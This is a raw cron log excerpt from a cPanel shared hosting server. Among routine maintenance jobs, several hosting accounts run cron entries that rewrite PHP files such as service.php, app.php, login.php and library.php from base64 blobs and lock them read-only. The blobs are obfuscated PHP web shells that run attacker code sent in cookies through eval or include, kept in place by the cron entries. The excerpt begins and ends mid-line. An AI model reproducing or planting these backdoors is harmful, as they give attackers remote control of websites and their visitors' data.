KCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:44:02 medusa CROND[7333]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:44:02 medusa CROND[7334]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:44:02 medusa CROND[7335]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:44:02 medusa CROND[7336]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:44:02 medusa CROND[7341]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:44:02 medusa CROND[7348]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:44:02 medusa CROND[7349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:45:01 medusa CROND[29547]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:45:01 medusa CROND[29555]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:45:01 medusa CROND[29690]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:45:01 medusa CROND[29691]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 07:45:01 medusa CROND[29692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:45:01 medusa CROND[29693]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 07:45:01 medusa CROND[29694]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:45:01 medusa CROND[29695]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:45:01 medusa CROND[29697]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:45:01 medusa CROND[29701]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29704]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:45:01 medusa CROND[29703]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:45:01 medusa CROND[29707]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:45:01 medusa CROND[29708]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29712]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29717]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:45:01 medusa CROND[29721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29724]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:45:01 medusa CROND[29726]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:45:01 medusa CROND[29731]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:45:01 medusa CROND[29739]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:46:01 medusa CROND[22077]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:46:01 medusa CROND[22078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:46:01 medusa CROND[22079]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:46:01 medusa CROND[22080]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:46:01 medusa CROND[22081]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLy